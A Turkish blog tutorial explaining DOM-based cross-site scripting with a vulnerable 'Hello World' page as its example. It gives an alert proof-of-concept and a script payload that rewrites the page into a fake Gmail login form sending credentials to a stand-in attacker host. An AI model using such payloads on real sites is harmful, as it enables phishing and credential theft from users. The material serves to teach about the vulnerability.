DOM Based Xss Nedir?

Güvenlik açığına girmeden önce, önce “DOM nedir?” Sorusuna cevap verelim. Web geliştirme konusunda bilginiz yoksa bu kavram sindirmek biraz zor olabilir. DOM (Belge Nesnesi Modeli), programlama dillerinin (örneğin JavaScript) etkileşimde bulunabileceği, HTML ve XML verisinin mantıksal bir yapılandırma ve temsilidir. Verilere erişmek ve verileri düzenlemek için kullanılan bir API (Uygulama Programlama Arabirimi) ve belgelerin yapısı.

DOM tabanlı XSS, Yansıtılan ve Saklanan XSS ile biraz çakıştığından, XSS’in bağımsız bir sınıflandırması olarak düşünülmemektedir. Ancak, çok önemli bir ayrım yüzünden ayrı ayrı söyleniyor. Yansıtılan ve Saklanan XSS’den farklı olarak – yükleri sunucudan gönderilen HTML yanıtlarında gömülüdür – DOM tabanlı XSS ​​neredeyse tamamen kurbanın tarayıcısında bulunur. [1] Genellikle bir yük GET URL parametresi (Reflected XSS’e benzer şekilde) yoluyla getirilebilir, ancak yük, sunucudan gönderilen yanıtta gömülü değildir. Bunun yerine, sunucu yanıtı, güvensiz bir şekilde yükü kullanan meşru komut dosyası içeriyor.

Bir örnek inceleyelim. Aşağıdaki sayfa web sunucusunda bulunduğunu varsayalım.

Bu kod son derece basittir. HTML verilerini (DOM’da) ‘ad’ URL parametresi olarak geçirilen bir değerle dinamik olarak güncellemek için JavaScript kullanan basit bir “Merhaba Dünya” sayfasıdır. Bu nedenle http: // victimsite: 8000 / dom.html? Name = Bob için bir istek aşağıdaki iyi huylu sonucu üretir:

Bu fazla iyi değil ama biraz daha konuya dahil olalım

Yukarıda vurgulanan bölümde, kullanıcı adının ‘Bob’ olduğu sunucudaki yanıtta bulunmadığına dikkat edin. Peki burada ne oluyor? Yanıt, tepki verildiğinde yukarıdaki kaynak kodun 8-13. Satırlarındaki JavaScript kodu yürütülür. Bu kod, URL’yi ayrıştırır ve ‘name’ parametresinden ayıkladığı değere dayalı olarak öğeyi dinamik olarak günceller. Bu yanıt tamamlandıktan SONRA tamamen istemci tarayıcısında yapılır. Bu, alınan yanıtta ‘Bob’un neden molmadığını açıklar

Şimdi Xss’nin varlığını kanıtlamak için standart alert kodumuzu kullanalım


<script>alert(‘xss’)</script>


Olayı kavramak amacıyla, biraz farklı bir kullanım senaryosu tanımlayalım. Daha önce olduğu gibi, Bob’a bir link gönderilir. Bağlantı, çalıştırıldığında Bob’un Gmail kimlik bilgilerini çalmak için HTML sayfasını değiştiren ‘name’ parametresinde kötü amaçlı kod içeriyor. Bu güvenlik açığından yararlanarak, hacker, kontrol ettiği bir sunucuya kullanıcı kimlik bilgilerini gönderecek kötü niyetli bir form sunmak için güvenlik açığı olan sayfayı tamamen yeniden yazabilir. Aşağıdaki yük, basit, gerçi kötü örnek olmaktadır


<script>$(function(){ document.write(‘<form method=”get” action=”http://attackersite:8080/”>Gmail User:<input type=”text” name = “u”/><p>Gmail Password:<input type=”password” name = “p”/><p><input type=”submit” value=”Login”/></form>’);});</script>


Bu oldukça Kötü görünüyor, ancak gönderilen kullanıcı kimlik bilgilerini ‘saldırganın bulunduğu yere gönderen özel bir HTML formuyla belgeyi (‘ document.write ‘) yeniden yazıyor. Zararlı Kkodu, algılama şansını azaltmak için birkaç şekilde linki gizleyebilir. Bob bağlantıyı tıklattığında gördüğü HTML, zararsız form öğesidir, daha önce gelen ileti ‘merhaba’ örneği yerine. Ekran görüntüsünde gördüğünüz giriş ekranı gönderilmiştir

Bob giriş bilgilerini girip login yaptığı anda oturum bilgileri saldırganın eline geçmiş olur

ben burda dilimin döndüğünce anlatmaya çalıştım bu konuyla ilgili Ömer Çıtak’ın makalesini de okumanızı tavsiye ederim 🙂

Link: https://omercitak.com/dom-based-xssi-anlamak/

 

Bir Cevap Yazın

E-posta hesabınız yayımlanmayacak. Gerekli alanlar * ile işaretlenmişlerdir